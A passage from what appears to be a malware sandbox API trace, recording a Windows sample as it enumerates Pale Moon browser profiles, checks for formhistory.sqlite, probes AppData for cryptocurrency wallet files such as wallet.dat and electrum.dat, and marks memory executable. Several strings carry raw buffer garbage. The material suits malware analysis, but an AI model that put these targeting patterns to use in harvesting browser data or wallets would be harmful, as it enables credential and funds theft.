nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.556] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022e1c, cbMultiByte=8, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="PaleMoonrs\\Historyos\\Cyberfox\\Profiles\\㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 8 [0165.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceff50, cbMultiByte=51, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 51 [0165.557] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x4c [0165.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\HistoryProductions\\Pale Moon\\Profiles\\摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 16 [0165.557] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite楆敲潆彸礳樲桯漸搮晥畡瑬琮瑸⼺樯癡⹡潣⽭湥搯睯汮慯⽤湩瑳污敬⹤獪൰ഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔳㐺崰ഠ栊瑴㩰⼯慪慶挮浯支⽮潤湷潬摡椯獮慴汬摥樮灳਍਍㉛㄰ⴷ㘰㌭‰〱㌺㨵〴⁝਍瑨灴⼺樯癡⹡潣⽭敶楲祦㼯牳㵣湩瑳污൬ഊ嬊〲㜱〭ⴶ〳ㄠ㨰ㄳ〺崰䌠牨浯ⵥ牂睯敳൲栊瑴獰⼺眯睷朮潯汧⹥敤振牨浯⽥牢睯敳⽲桴湡祫畯栮浴൬ഊ嬊〲㜱〭ⴶ〳ㄠ㨰〳㔺崳䌠牨浯卥瑥⹇眨⹣眨⹇眨⹣眨汤朮潯汧⹥潣⽭慴⽧⽳灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㜵䉂㙁䄹ㄭ䕃ⴹㄱ㈰䌭䐰ⴳ䄴䔱㍅㈴㕄〷㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 18 [0165.557] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\moonchild productions\\pale moon\\profiles\\formhistory.sqlite")) returned 0xffffffff [0165.557] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.557] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.562] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned 0x23 [0165.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0230d0, cbMultiByte=7, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr=".wallet㈴㕄〷㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 7 [0165.562] SysReAllocStringLen (in: pbstr=0x1fcffb80*=0x0, psz=".wallet", len=0x7 | out: pbstr=0x1fcffb80*=".wallet") returned 1 [0165.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0230e4, cbMultiByte=15, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="wallets\\.wallet㌥摄╥㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 15 [0165.563] SysReAllocStringLen (in: pbstr=0x1fcffb84*=0x0, psz="wallets\\.wallet", len=0xf | out: pbstr=0x1fcffb84*="wallets\\.wallet") returned 1 [0165.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f023100, cbMultiByte=10, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="wallet.datallet㌥摄╥㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 10 [0165.563] SysReAllocStringLen (in: pbstr=0x1fcffb88*=0x0, psz="wallet.dat", len=0xa | out: pbstr=0x1fcffb88*="wallet.dat") returned 1 [0165.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f023118, cbMultiByte=18, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="wallets\\wallet.dat㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 18 [0165.563] SysReAllocStringLen (in: pbstr=0x1fcffb8c*=0x0, psz="wallets\\wallet.dat", len=0x12 | out: pbstr=0x1fcffb8c*="wallets\\wallet.dat") returned 1 [0165.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f023138, cbMultiByte=12, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="electrum.datet.dat㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 12 [0165.563] SysReAllocStringLen (in: pbstr=0x1fcffb90*=0x0, psz="electrum.dat", len=0xc | out: pbstr=0x1fcffb90*="electrum.dat") returned 1 [0165.563] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f023154, cbMultiByte=20, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="wallets\\electrum.dat睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 20 [0165.563] SysReAllocStringLen (in: pbstr=0x1fcffb94*=0x0, psz="wallets\\electrum.dat", len=0x14 | out: pbstr=0x1fcffb94*="wallets\\electrum.dat") returned 1 [0165.563] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\*", lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x88844280, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x88844280, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0165.563] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\.\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\.wallet")) returned 0xffffffff [0165.564] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\.\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\wallets\\.wallet")) returned 0xffffffff [0165.564] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\.\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\wallet.dat")) returned 0xffffffff [0165.564] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\.\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\wallets\\wallet.dat")) returned 0xffffffff [0165.565] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\.\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\electrum.dat")) returned 0xffffffff [0165.565] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\.\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\wallets\\electrum.dat")) returned 0xffffffff [0165.565] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x88844280, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x88844280, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.565] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\..\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\.wallet")) returned 0xffffffff [0165.565] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\..\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\wallets\\.wallet")) returned 0xffffffff [0165.566] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\..\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\wallet.dat")) returned 0xffffffff [0165.566] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\..\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\wallets\\wallet.dat")) returned 0xffffffff [0165.566] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\..\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\electrum.dat")) returned 0xffffffff [0165.566] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\..\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\wallets\\electrum.dat")) returned 0xffffffff [0165.567] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe458ccf0, ftCreationTime.dwHighDateTime=0x1d5e845, ftLastAccessTime.dwLowDateTime=0x34728900, ftLastAccessTime.dwHighDateTime=0x1d5e112, ftLastWriteTime.dwLowDateTime=0x34728900, ftLastWriteTime.dwHighDateTime=0x1d5e112, nFileSizeHigh=0x0, nFileSizeLow=0xb7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-wCL.bmp", cAlternateFileName="")) returned 1 [0165.567] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x119aecd0, ftCreationTime.dwHighDateTime=0x1d5def4, ftLastAccessTime.dwLowDateTime=0x994d6400, ftLastAccessTime.dwHighDateTime=0x1d5e273, ftLastWriteTime.dwLowDateTime=0x994d6400, ftLastWriteTime.dwHighDateTime=0x1d5e273, nFileSizeHigh=0x0, nFileSizeLow=0x814e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0XIg7Kv_6pSI6blTr.mp4", cAlternateFileName="0XIG7K~1.MP4")) returned 1 [0165.568] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd4d75870, ftCreationTime.dwHighDateTime=0x1d5da4c, ftLastAccessTime.dwLowDateTime=0xdfa85740, ftLastAccessTime.dwHighDateTime=0x1d5df10, ftLastWriteTime.dwLowDateTime=0xdfa85740, ftLastWriteTime.dwHighDateTime=0x1d5df10, nFileSizeHigh=0x0, nFileSizeLow=0xca8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1rNw.mp3", cAlternateFileName="")) returned 1 [0165.568] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ee4d860, ftCreationTime.dwHighDateTime=0x1d5deca, ftLastAccessTime.dwLowDateTime=0x7c4bdf30, ftLastAccessTime.dwHighDateTime=0x1d5d9db, ftLastWriteTime.dwLowDateTime=0x7c4bdf30, ftLastWriteTime.dwHighDateTime=0x1d5d9db, nFileSizeHigh=0x0, nFileSizeLow=0x4397, dwReserved0=0x0, dwReserved1=0x0, cFileName="1vYR-fYVovPO_y_y 2vM.gif", cAlternateFileName="1VYR-F~1.GIF")) returned 1 [0165.568] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36959310, ftCreationTime.dwHighDateTime=0x1d5e362, ftLastAccessTime.dwLowDateTime=0xa232f90, ftLastAccessTime.dwHighDateTime=0x1d5de6c, ftLastWriteTime.dwLowDateTime=0xa232f90, ftLastWriteTime.dwHighDateTime=0x1d5de6c, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="6MGWYri A.bmp", cAlternateFileName="6MGWYR~1.BMP")) returned 1 [0165.568] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0165.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.581] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Adobe\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\adobe\\wallets\\.wallet")) returned 0xffffffff [0165.582] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Adobe\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\adobe\\wallet.dat")) returned 0xffffffff [0165.583] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Adobe\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\adobe\\wallets\\wallet.dat")) returned 0xffffffff [0165.584] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Adobe\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\adobe\\electrum.dat")) returned 0xffffffff [0165.585] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Adobe\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\adobe\\wallets\\electrum.dat")) returned 0xffffffff [0165.586] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8d2780, ftCreationTime.dwHighDateTime=0x1d5d8bd, ftLastAccessTime.dwLowDateTime=0x33dad7c0, ftLastAccessTime.dwHighDateTime=0x1d5e060, ftLastWriteTime.dwLowDateTime=0x33dad7c0, ftLastWriteTime.dwHighDateTime=0x1d5e060, nFileSizeHigh=0x0, nFileSizeLow=0xa8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bMn7rPCuez.xls", cAlternateFileName="BMN7RP~1.XLS")) returned 1 [0165.586] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\bMn7rPCuez.xls\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\bmn7rpcuez.xls\\.wallet")) returned 0xffffffff [0165.586] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\bMn7rPCuez.xls\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\bmn7rpcuez.xls\\wallets\\.wallet")) returned 0xffffffff [0165.587] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\bMn7rPCuez.xls\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\bmn7rpcuez.xls\\wallet.dat")) returned 0xffffffff [0165.587] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\bMn7rPCuez.xls\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\bmn7rpcuez.xls\\wallets\\wallet.dat")) returned 0xffffffff [0165.587] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\bMn7rPCuez.xls\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\bmn7rpcuez.xls\\electrum.dat")) returned 0xffffffff [0165.587] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\bMn7rPCuez.xls\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\bmn7rpcuez.xls\\wallets\\electrum.dat")) returned 0xffffffff [0165.587] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7e30d90, ftCreationTime.dwHighDateTime=0x1d5d858, ftLastAccessTime.dwLowDateTime=0x5ef432e0, ftLastAccessTime.dwHighDateTime=0x1d5e672, ftLastWriteTime.dwLowDateTime=0x5ef432e0, ftLastWriteTime.dwHighDateTime=0x1d5e672, nFileSizeHigh=0x0, nFileSizeLow=0xb505, dwReserved0=0x0, dwReserved1=0x0, cFileName="eDL9vRODWdK0.avi", cAlternateFileName="EDL9VR~1.AVI")) returned 1 [0165.587] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\eDL9vRODWdK0.avi\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\edl9vrodwdk0.avi\\.wallet")) returned 0xffffffff [0165.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, 